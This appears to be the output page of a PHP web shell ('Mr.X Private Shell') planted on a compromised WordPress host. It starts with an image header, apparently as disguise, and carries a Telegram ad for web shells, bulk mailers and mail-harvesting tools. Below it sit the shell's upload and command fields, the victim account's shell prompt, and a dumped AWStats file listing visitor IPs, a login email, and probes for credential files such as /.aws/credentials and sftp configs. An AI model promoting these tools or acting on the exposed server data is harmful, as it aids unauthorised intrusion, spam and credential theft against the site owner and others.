����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.216.24: ~ $
AWSTATS DATA FILE 7.9 (build 20230108)
# If you remove this file, all statistics for date 202503 will be lost/reset.
# Last config file used to build this data file was /home/fistvdlb/tmp/awstats/ssl/awstats.foyfresscom.fistinz.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2058                
POS_TIME 2741                
POS_VISITOR 22529               
POS_DAY 59983               
POS_DOMAIN 3687                
POS_LOGIN 4750                
POS_ROBOT 4947                
POS_WORMS 6188                
POS_EMAILSENDER 6319                
POS_EMAILRECEIVER 6462                
POS_SESSION 60914               
POS_FILESIZE 64026               
POS_SIDER 61129               
POS_FILETYPES 6597                
POS_DOWNLOADS 6901                
POS_OS 7492                
POS_BROWSER 8184                
POS_SCREENSIZE 13192               
POS_UNKNOWNREFERER 13266               
POS_UNKNOWNREFERERBROWSER 14907               
POS_ORIGIN 15623               
POS_SEREFERRALS 15767               
POS_PAGEREFS 16013               
POS_SEARCHWORDS 16161               
POS_KEYWORDS 16313               
POS_MISC 2405                
POS_ERRORS 16372               
POS_CLUSTER 4606                
POS_SIDER_404 16546               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20250401001042 707 172733 12905146225129
FirstTime 20250301000001
LastTime 20250331235337
LastUpdate 20250401194727 707 0 706 0 0
TotalVisits 1592                
TotalUnique 939                 
MonthHostsKnown 0                   
MonthHostsUnknown 983                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
TotalMisc 0 0 0
WindowsMediaPlayerSupport 0 0 0
RealPlayerSupport 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 0 0
JavascriptDisabled 0 0 0
QuickTimeSupport 0 0 0
FlashSupport 0 0 0
DirectorSupport 0 0 0
JavaEnabled 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 460 796 25796823 115 327 6786877
1 461 574 10761802 125 181 4527649
2 310 383 4088326 86 128 2360430
3 333 570 9231423 119 220 4065552
4 298 680 13942819 78 114 3443904
5 244 250 3683358 59 97 2075674
6 282 420 7909476 225 357 13801311
7 280 619 13467644 82 132 2174009
8 216 219 3938834 66 148 3651004
9 295 515 10158986 77 107 3616003
10 263 263 3776694 103 144 2627862
11 169 236 5332892 62 85 2519327
12 186 328 6018799 50 96 2157208
13 249 251 5083097 95 128 3366075
14 254 259 3322316 50 92 1920386
15 298 760 11961973 114 331 3146223
16 218 337 5183481 54 79 2267413
17 306 306 3329813 398 459 4998143
18 204 277 3547012 45 142 2542915
19 287 372 2474797 50 206 2825262
20 324 368 4720060 84 176 2723406
21 319 319 2519369 83 126 3215272
22 366 500 12217686 109 236 10425043
23 316 318 2717875 126 240 8736658
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 58
ca 4238 4242 21878138
us 1445 3546 79107866
jp 263 263 11340501
cn 207 261 9308390
ru 171 239 15060842
in 70 74 1021116
de 68 68 922412
gb 51 88 710690
za 46 47 2404331
cl 36 36 5524476
ro 27 152 2908366
nl 23 157 4304999
ua 21 21 1534996
pk 20 190 4121541
bg 19 19 585244
ir 16 82 2307938
qa 15 108 2383457
at 15 16 50803
fr 14 92 2657920
au 14 15 324798
it 13 13 653043
se 13 17 778212
pa 10 10 323463
pt 10 10 272648
es 10 10 735915
dk 3 3 186
kh 6 6 229822
jo 2 2 2353
nz 3 3 39985
zz 3 3 50564
vn 6 6 184075
lt 2 2 372
af 1 1 186
sc 1 1 236
be 6 16 239470
sg 2 2 186
kr 3 3 422
cz 5 5 560097
br 3 3 46357
ar 2 2 2018
il 2 2 50564
id 7 7 230234
pl 7 36 847440
rw 2 2 4718
tw 2 2 92151
my 2 2 472
ng 2 2 91943
tr 4 4 92304
kz 1 1 186
eg 6 6 224348
np 1 1 0
ch 1 1 186
al 1 1 50647
mx 4 4 9435
bd 4 4 184318
gr 3 5 103242
eu 4 4 532904
gh 2 2 91829
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 1
sales@foyfress.com 1 1 316 20250304073835
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 29
Googlebot/ 862 6231961 20250331222555 35
AhrefsBot/ 771 15861784 20250331222240 51
DotBot/ 350 25382898 20250325051404 154
YandexBot/ 266 12282176 20250331175447 71
bingbot/ 221 1476982 20250331061228 19
yandex 136 1369838 20250330203240 0
SemrushBot/ 87 1708651 20250330233950 32
bot[\s_+:,\.\;\/\\-] 66 3523682 20250330230628 10
Googlebot\-Image/ 66 5482775 20250331232210 0
YandexImages/ 65 1893000 20250331175451 0
Bytespider 50 201147 20250320012541 1
feed 33 150779 20250325080244 0
link 29 1028294 20250326112126 1
unknown 23 4201 20250331220551 23
no_user_agent 23 3763242 20250330132929 0
Go\-http\-client/ 16 1284784 20250325075843 3
MJ12bot/ 9 140510 20250331125153 4
360Spider 7 354475 20250330071931 0
curl 5 374966 20250305041739 0
Barkrowler 4 101490 20250329201748 2
(firefox/)([0-9]\.|[0-1][0]\.) 3 0 20250324191126 0
survey 2 267824 20250306034626 0
crawl 2 101394 20250307095257 0
spider 2 101390 20250315155926 0
scrapy 2 101434 20250321163450 0
Googlebot\-Mobile/ 1 0 20250324190927 0
facebookexternalhit/ 1 0 20250324191248 0
validator 1 0 20250324191127 0
ELinks/ 1 0 20250324191209 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 13
css 973 3517107 0 0
jpg 402 45024661 0 0
html 1443 107132459 0 0
txt 13 12502 0 0
xml 3 316 0 0
woff 29 50072 0 0
Unknown 14 0 0 0
png 129 1870078 0 0
json 1 0 0 0
axd 1 0 0 0
php 5419 1238767 0 0
js 1465 13585521 0 0
woff2 28 2753872 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 12
//wp-includes/ID3/license.txt 3 0 4188
/ads.txt 2 0 0
/wp-content/plugins/ultimate-member/readme.txt 1 0 0
/wp-content/plugins/security-malware-firewall/readme.txt 1 0 0
/wp-content/plugins/everest-forms/readme.txt 1 0 0
/license.txt 1 0 8314
/wp-content/plugins/easy-digital-downloads/readme.txt 1 0 0
/system/logs/error.log 1 0 0
/wp-content/plugins/google-analytics-for-wordpress/readme.txt 1 0 0
/wp-content/plugins/learnpress/readme.txt 1 0 0
/wp-content/plugins/wp-file-upload/readme.txt 1 0 0
/wp-content/plugins/give/readme.txt 1 0 0
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 45
macos11 1 1
win7 179 142
android11 8 3
win11 28 28
macosx14 67 11
os/2 1 0
win8.1 16 2
winxp 6 3
winphone 2 0
win16 1 1
winnt 2 1
android10 126 51
linuxubuntu 89 20
androidnougat 106 35
android12 5 2
android 1 0
blackberry 1 0
android13 18 0
win95 1 0
macosx8 2 2
linuxgentoo 9 8
macosx 36 34
macosx11 3 2
macosx10 9 7
androidlollipop 1 0
win10 2126 1237
winme 1 0
symbian 2 0
macosx9 24 19
macosx13 2 0
ios_iphone 734 459
macosx6 10 8
macosx15 217 196
androidoreo 4 0
win8 6 5
macosx12 39 36
linuxdebian 1 0
psp 1 0
Unknown 4294 4258
macos12 3 2
ios_ipad 23 20
unix 1 0
linux 1702 335
androidpie 1 0
androidmarshmallow 11 10
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 247
chrome117.0.0.0 1 1
firefox86.0 2 2
firefox92.0 1 1
firefox46.0 1 0
chrome98.0.4758.80 1 0
safari3.0 2 0
safari17.6.47 1 1
chrome75.0.3770.100 1 0
firefox74.0 1 1
chrome101.0.4951.54 3 1
chrome110.0.0.0 3 3
chrome112.0.0.0 27 2
safari7.0 2 2
firefox 1 1
chrome100.0.4896.88 1 0
safari15.2 1 0
chrome78.0.3904.62 45 45
chrome83.0.4103.61 23 2
chrome87.0.4280.88 1 1
msie10.0 5 1
chrome97.0.4692.71 1 1
opera65.0.3467.48 3 2
chrome74.0.3729.157 1 0
chrome98.0.4758.102 1 0
chrome88.0.4240.193 454 454
safari11.0 1 0
chrome99.0.3809.100 23 2
safari15.5 3 3
firefox53.0 1 1
opera93.0.0.0 1 1
msie9.0 4 2
firefox38.0 1 0
galeon 1 0
chrome125.0.6422.60 74 5
chrome4.0.277.0 1 0
chrome53.0.2820.59 71 5
firefox50.0 67 66
safari7.0.3 4 0
firefox127.0 13 13
firefox135.0 1 1
chrome105.0.0.0 10 6
safari17.4 5 5
chrome77.0.3833.99 1 0
chrome109.0.0.0 2 1
safari18.1.1 5 1
firefox31.0 16 16
firefox122.0 47 47
safari18.0 3 3
chrome41.0.2228.0 2 0
chrome114.0.5735.134 15 15
firefox132.0 6 6
chrome125.0.0.0 1 1
chrome64.0.3282.186 1 0
safari14.0 1 0
safari2.0.4 2 0
firefox125.0 2 2
chrome129.0.0.0 538 45
msie11 3 0
chrome117.0.5938.132 138 8
chrome126.0.0.0 109 51
chrome118.0.0.0 3 3
chrome87.0.4280.67 1 0
chrome114.0.5735.199 6 6
chrome89.0.4389.114 76 76
chrome91.0.4472.164 1 0
chrome134.0.0.0 297 34
chrome91.0.4472.77 1 0
chrome96.0.4664.110 1 0
chrome60.0.3112.107 30 30
chrome88.0.4324.41 1 0
chrome124.0.0.0 8 8
mozilla 62 31
chrome28.0.1467.0 1 1
chrome105.0.239 1 0
firefox91.0 8 8
chrome103.0.5056.0 1 0
safari 236 37
safari5.0 1 0
firefox19.0 1 0
firefox15.0 1 0
msie11.0 2 2
chrome79.0.3945.130 24 24
chrome75.0.3770.143 1 0
opera85.0.4341.75 1 0
safari8.0 3 3
safari12.1.2 1 0
chrome103.0.5060.66 3 3
firefox30.0 4 4
chrome79.0.3945.79 74 5
firefox117.0 1 0
edge18 1 1
chrome101.0.4951.61 3 0
firefox133.0 78 6
firefox112.0 4 0
chrome95.0.4638.69 20 17
msie6.0 2 1
chrome112.0.5615.136 14 0
msie5.5 1 0
chrome80.0.3987.149 22 22
chrome57.0.2322 1 1
chrome59.0.3071.115 33 33
firefox126.0 26 26
chrome52.0.2743.98 1 0
chrome59.0.3071.125 72 5
chrome74.0.3729.169 5 5
chrome101.0.4951.41 9 0
firefox115.0 7 6
chrome113.0.5672.126 3 3
chrome78.0.3904.70 71 3
chrome98.0.4758.141 1 0
chrome76.0.3809.100 1 0
safari17.4.1 2 2
safari18.1 1 1
chrome115.0.5790.171 7 7
firefox45.0 1 1
firefox49.0 1 0
chrome128.0.6613.137 1 1
safari17.0.96 4 4
firefox125.0.1 11 11
chrome114.0.0.0 26 26
firefox60.0 3 3
firefox70.0 2 0
chrome134.0.6998.89 1 1
chrome97.0.4692.99 1 0
firefox42.0 1 1
firefox62.0 1 1
firefox82.0 1 1
chrome34.0.1847.116 2 2
chrome78.0.3904.108 102 102
chrome128.0.0.0 78 5
firefox77.0 2 2
chrome100.0.4896.58 1 0
chrome116.0.0.0 2 2
firefox94.0 1 1
safari7.0.5 2 2
sonyericsson 2 0
chrome41.0.2227.1 1 1
safari13.1 1 1
chrome90.0.4430.85 9 9
chrome86.0.4240.198 1 0
netscape3.01 1 0
chrome121.0.0.0 1 1
chrome115.0.5790.102 13 13
wap 1 0
chrome75.0.3770.101 2 0
safari15.0 1 0
chrome25.0.1349.2 1 0
chrome131.0.0.0 43 38
chrome51.0.2704.103 4 4
firefox35.0 1 0
safari15.4 2 0
chrome99.0.4859.172 2 2
firefox12.0 1 0
safari17.3.1 6 6
opera12.16 2 0
chrome58.0.3029.110 44 44
chrome86.0.4240.111 1 1
firefox54.0 41 41
msie7.0 3 0
chrome133.0.6943.53 10 10
chrome94.0.4606.81 631 81
safari2.0.1 1 0
firefox134.0 6 6
safari14.1.2 1 0
chrome113.0.5672.93 12 12
safari17.1.2 1 1
safari17.5 3 3
chrome100.0.4896.127 2 1
chrome55.0.2883.91 1 0
firefox128.0 13 13
safari9.1.1 1 1
safari16.2 1 1
chrome79.0 16 16
netscape5.0 4 4
chrome71.0.3578.98 1 0
opera10.00 1 0
chrome42.0.2311.90 2 2
chrome35.0.1916.153 10 10
chrome120.0.0.0 22 22
chrome33.0.1750.152 1 0
chrome103.0.0.0 4 4
blackberry 1 0
chrome127.0.6533.119 4 2
chrome122.0.0.0 82 4
chrome100.0.4896.60 1 0
chrome75.0.3770.90 1 1
chrome133.0.0.0 172 106
chrome99.0.4844.84 2 0
firefox88.0 1 1
chrome132.0.0.0 155 17
chrome127.0.0.0 25 22
chrome123.0.0.0 5 0
opera64.0.3417.92 4 1
chrome131.0.6778.205 2 2
firefox68.0 1 1
chrome130.0.0.0 96 40
netscape4.0 1 0
opera11.10 1 0
chrome103.0.5060.114 3 3
chrome90.0.4430.72 1 0
chrome36.0.1985.125 14 14
chrome78.0.3904.97 1 0
chrome83.0.4103.97 63 9
opera89.0.4447.51 4 4
chrome14.0.825.0 1 0
firefox109.0 71 5
chrome132.0.6834.84 1 1
safari15.1 1 1
chrome73.0.3678.88 1 1
firefox129.0 16 16
safari10.0 71 5
chrome112.0.5615.138 25 25
firefox36.0 2 0
safari17.6 5 1
opera85.0.4341.79 1 0
chrome100.0.4896.133 1 0
chrome76.0.3809.89 2 0
safari5.1.7 1 0
firefox118.0 1 1
safari9.0 1 0
chrome66.0.3359.181 12 12
firefox24.0 2 2
chrome116.0.5845.96 15 15
chrome37.0.2049.0 5 0
chrome96.0.4664.93 1 0
chrome61.0.3163.100 36 36
chrome39.0.2171.95 4 2
chrome56.0.2924.76 1 0
firefox34.0 1 1
Unknown 4228 4228
firefox114.0 4 4
firefox123 1 1
chrome91.0.4472.114 4 4
chrome115.0.0.0 1 1
chrome84.0.4147.89 1 1
safari16.5.1 1 1
chrome91.0.4472.124 14 14
chrome100.0.4896.75 7 7
opera62.0.3331.116 1 0
chrome36.0.1985.143 8 8
chrome75.0.3770.142 2 0
chrome7.0.514.0 1 0
safari13.0.3 426 426
iceweasel 1 0
chrome81.0.4044.129 1 1
nokia 1 0
firefox95.0 136 136
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 20
Opera/9.80_(S60;_SymbOS;_Opera_Mobi/499;_U;_ru)_Presto/2.4.18_Version/10.00 20250324191127
Mozilla/5.0_(platform;_rv:geckoversion)_Gecko/geckotrail_Firefox/firefoxversion 20250314162151
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20250327221524
python-requests/2.25.1 20250323230507
python-requests/2.32.3 20250328035732
GRequests/0.10 20250331232140
SonyEricssonK750i/R1CA_Browser/SEMC-Browser/4.2_Profile/MIDP-2.0_Configuration/CLDC-1.1 20250324190927
Mozilla/5.0_(compatible;_CensysInspect/1.1;__https://about.censys.io/) 20250318200516
\ 20250330031425
WordPress/6.7.2;_https://foyfress.com 20250331235322
Softaculous 20250331004016
Nokia6230/2.0_(04.44)_Profile/MIDP-2.0_Configuration/CLDC-1.1 20250324191209
SonyEricssonK610i/R1CB_Browser/NetFront/3.3_Profile/MIDP-2.0_Configuration/CLDC-1.1 20250324190927
Mozilla/5.0_(MeeGo;_NokiaN9)_AppleWebKit/534.13_(KHTML,_like_Gecko)_NokiaBrowser/8.5.0_Mobile_Safari/534.13 20250324191007
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20250328145456
Mozilla/5.0_researchscan.comsys.rwth-aachen.de 20250326203246
GoogleOther 20250305005532
python-requests/2.27.1 20250329095315
Mozilla/5.0_(compatible) 20250330224716
POLARIS/6.01(BREW_3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0_profile/MIDP-201_Configuration_/CLDC-1.1 20250306003604
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 10
Expanse,_a_Palo_Alto_Networks_company,_searches_across_the_global_IPv4_space_multiple_times_per_day_to_identify_customers&#39;_presences_on_the_Internet._If_you_would_like_to_be_excluded_from_our_scans,_please_send_IP_addresses/domains_to:_scaninfo@paloaltonetworks.com 20250327221524
WordPress/6.7.2;_https://foyfress.com 20250331235322
GoogleOther 20250305005532
Apache/2.4.34_(Ubuntu)_OpenSSL/1.1.1_(internal_dummy_connection) 20250321175004
python-requests/2.27.1 20250329095315
Softaculous 20250331004016
GRequests/0.10 20250331232140
python-requests/2.32.3 20250328035732
python-requests/2.25.1 20250323230507
\ 20250330031425
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 5244 5417
From1 2 2
From2 75 75
From3 0 0
From4 1617 4426
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 5
bing_com_catchall 1 1
www_google_com 69 69
google_com 1 1
www_google_com_hk 3 3
www_google_com_sg 1 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 0
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 8
409 4 6331
301 628 0
206 17 8500
405 64 3468
403 197 244674
302 17 0
404 293 16508026
429 5 12930
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 146
/php_info.php 5 http://foyfress.com/php_info.php
/php.php 5 http://foyfress.com/php.php
/wp-admin/maint/lint-branch.php 1 https://www.google.com
/wp-content/worksec.php 1 https://www.google.com
/wp-includes/file.php 1 https://www.google.com
/web/wp-admin/install.php 2 -
/blog/wp-admin/install.php 4 -
/site/wp-admin/install.php 2 -
/new/wp-admin/install.php 4 -
/oldsite/wp-admin/install.php 2 -
/file.php 1 https://www.google.com
/ 4 https://foyfress.com
/old/wp-admin/setup-config.php 3 -
/blog/adminer.php 1 -
/tmp 1 -
/wp-includes/Requests/Cookie/ 1 https://www.google.com
/wordpress/wp-admin/setup-config.php 3 -
/wp-json/gutenkit/v1/install-active-plugin 1 -
/wp-includes/id3/license.txt/xmlrpc.php 1 -
/cms/wp-admin/install.php 2 -
/.aws/credentials 5 http://foyfress.com/.aws/credentials
/wp-admin/maint/file.php 1 https://www.google.com
/admin/phpinfo.php 5 http://foyfress.com/admin/phpinfo.php
/wp-content/plugins/pwnd/pwnd.php 2 https://www.google.com
/wp-includes/SimplePie/Content/Type/ 1 https://www.google.com
/phpinfo 3 http://foyfress.com/phpinfo
/ads.txt 1 http://foyfress.com/ads.txt
/wp-includes/SimplePie/XML/Declaration/ 1 https://www.google.com
/e.php 2 https://www.google.com
/wp-admin/includes/lint-branch.php 3 https://www.google.com
/wp-includes/widgets/dir/ 1 https://www.google.com
/heapdump 1 -
/pi.php 5 http://foyfress.com/pi.php
/.vscode/sftp.json 2 -
/wp-content/plugins/pwnd-1/pwnd.php 2 https://www.google.com
/f.php 2 https://www.google.com
/foyfress 1 www.google.com
/wp-includes/classwithtostring.php 1 https://www.google.com
/actuator/heapdump 1 -
/old 3 www.google.com
/https: 1 -
/wp-includes/Requests/Exception/Transport/ 1 https://www.google.com
/shop/wp-admin/install.php 4 -
/crm/adminer.php 1 -
/wp-admin/maint/fie.php 2 https://www.google.com
/wp-content/languages/ 1 https://www.google.com
/archivarix.cms.php 1 -
/images/images/cache.php 1 -
/wp-content/plugins/woocommerce/assets/js/jquery-blockui/+c.iframeSrc+ 1 -
/wp-includes/Requests/Auth/ 1 https://www.google.com
/go.php 1 https://www.google.com
/cms 1 -
/wp-content/plugins/wp-automatic/changelog 1 -
/phpinfo.php 3 http://foyfress.com/phpinfo.php
/wp-includes/widgets/past.php 1 https://www.google.com
/wp-content/themes/classwithtostring.php 1 https://www.google.com
/new 2 www.google.com
/wp-content/plugins/wp-file-upload/css/wordpress_file_upload_style.css 2 -
/wp-includes/id3/license.txt/blog/wp-includes/wlwmanifest.xml 1 -
/blog 7 -
/wp-includes/rk2.php 1 https://www.google.com
/wp-includes/customize/customize/cache.php 1 -
/wp-includes/Requests/Exception/HTTP/ 1 https://www.google.com
/_profiler/phpinfo 5 http://foyfress.com/_profiler/phpinfo
/wp-includes/SimplePie/Net/ 1 https://www.google.com
/z.php 1 https://www.google.com
/wp-content/plugins/wp-file-upload/readme.txt 1 -
/system/logs/error.log 2 -
/about.php 2 http://foyfress.com
/main 1 -
/wp-includes/id3/license.txt/feed/ 1 -
/wp/wp-admin/install.php 5 -
/wp-includes/Requests/Utility/ 1 https://www.google.com
/test.php 5 http://foyfress.com/test.php
/old/wp-admin/install.php 5 -
/ftp-config.json 2 -
/info.php 6 http://foyfress.com/info.php
/userfuns.php 1 www.google.com
/i.php 5 http://foyfress.com/i.php
/autoload_classmap.php 2 https://www.google.com
/wp-content/plugins/fix/up.php 2 https://www.google.com
/a.php 3 https://www.google.com
/wp-includes/Requests/Response/ 1 https://www.google.com
/worksec.php 1 https://www.google.com
/installer.php 1 -
/wp-content/plugins/simple/simple.php 1 https://www.google.com
/testing 1 -
/test/wp-admin/setup-config.php 2 -
/.well-known/acme-challenge/c06gvORqr_eow4VkuR67RU66DQXk9ekVc2H8wQiBZ0g 1 http://foyfress.com/.well-known/acme-challenge/c06gvORqr_eow4VkuR67RU66DQXk9ekVc2H8wQiBZ0g
/wordpress 3 www.google.com
/wp-content/plugins/atest/robots-check.txt 1 -
/c.php 2 https://www.google.com
/static/admin/javascript/hetong.js 3 https://www.foyfress.com/static/admin/javascript/hetong.js
/.vscode/ftp-sync.json 2 -
/ftp-sync.json 2 -
/temp 1 www.google.com
/shop/wp-admin/setup-config.php 2 -
/wp-content/about.php 4 http://foyfress.com
/.ftp-config.json 2 -
/wp 3 www.google.com
/wp-includes/SimplePie/Decode/HTML/ 1 https://www.google.com
/wordpress/wp-admin/install.php 5 -
/blog/wp-admin/setup-config.php 2 -
/web 2 -
/new/wp-admin/setup-config.php 2 -
/wp-content/plugins/WordPressCore/include.php 1 -
/backup/wp-admin/install.php 2 -
/b.php 2 https://www.google.com
/wp-content/plugins/easy-digital-downloads/readme.txt 1 -
/dev 1 -
/wp-content/plugins/definite-unique/license.txt 1 -
/sitemaps.xml 2 -
/wp-emoji-release.min.js 2 -
/wp-includes/SimplePie/HTTP/ 1 https://www.google.com
/backup 3 www.google.com
/q.php 2 https://www.google.com
/wp-includes/Requests/Exception/ 1 https://www.google.com
/elmah/ 1 -
/Public/home/js/check.js 3 https://www.foyfress.com/Public/home/js/check.js
/wp-includes/Requests/Transport/ 1 https://www.google.com
/d.php 3 https://www.google.com
/simple.php 1 www.google.com
/.vscode/ftp-config.json 2 -
/.DS_Store 1 -
/wp/wp-admin/setup-config.php 3 -
/config.phpinfo 5 http://foyfress.com/config.phpinfo
/demo 1 -
/test 4 www.google.com
/wp-includes/SimplePie/Cache/ 1 https://www.google.com
/gcdyja 1 -
/wp-includes/SimplePie/Parse/ 1 https://www.google.com
/.well-known/traffic-advice 1 -
/sitemap.txt 2 -
/test/wp-admin/install.php 4 -
/wp-content/cache/ 1 https://www.google.com
/sitemap_index.xml 2 -
/thoms.php 2 www.google.com
/wp-content/plugins/everest-forms/readme.txt 1 -
/portal 2 -
/.ftp-sync.json 2 -
/inputs.php 2 www.google.com
/site 1 -
/.sftp-config.json 2 -
/wp-includes/images/wlw/ 1 https://www.google.com
/newsite 1 -
/wp-includes/Requests/Proxy/ 1 https://www.google.com
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 983
162.0.217.83 4165 4165 18775507 20250331235322
139.99.241.181 445 445 544914 20250324023502
52.55.149.209 33 33 1593812 20250328011117
18.212.57.145 33 33 1597030 20250309220323
69.160.160.50 27 95 3076889 20250307095347
66.249.89.36 26 398 12073583 20250330070337
107.23.253.7 21 153 3448087 20250320030226
196.251.80.141 21 21 1082555 20250322104625
54.157.156.24 21 171 4029589 20250312010005
110.39.165.74 19 189 4121305 20250331153128
181.214.58.116 17 17 4067731 20250331222350
91.134.79.240 16 16 544958 20250311205908
194.163.163.100 16 16 317652 20250308144601
176.202.36.33 15 108 2383457 20250331152753
195.78.54.151 15 16 50803 20250307043107
209.141.37.11 14 14 326906 20250326093442
92.255.57.39 13 13 1930517 20250327003802
3.238.126.113 12 12 809540 20250307054613
185.147.125.18 12 12 1929735 20250327171751
144.91.70.1 12 12 6902 20250320065939
198.98.53.147 12 12 251953 20250329071734
92.255.85.164 12 12 1931117 20250326114948
209.141.44.35 12 12 233792 20250331181936
3.231.105.246 12 96 2505899 20250320043125
92.255.57.103 10 10 23543 20250301161931
152.69.220.151 0 1 1396 
104.236.101.97 1 2 51623 20250308022921
93.118.105.117 2 2 91935 20250324092735
49.51.204.74 3 3 143009 20250323114115
51.79.121.251 0 17 61758 
206.189.193.107 1 2 51534 20250328032114
43.159.136.201 1 1 50608 20250331095147
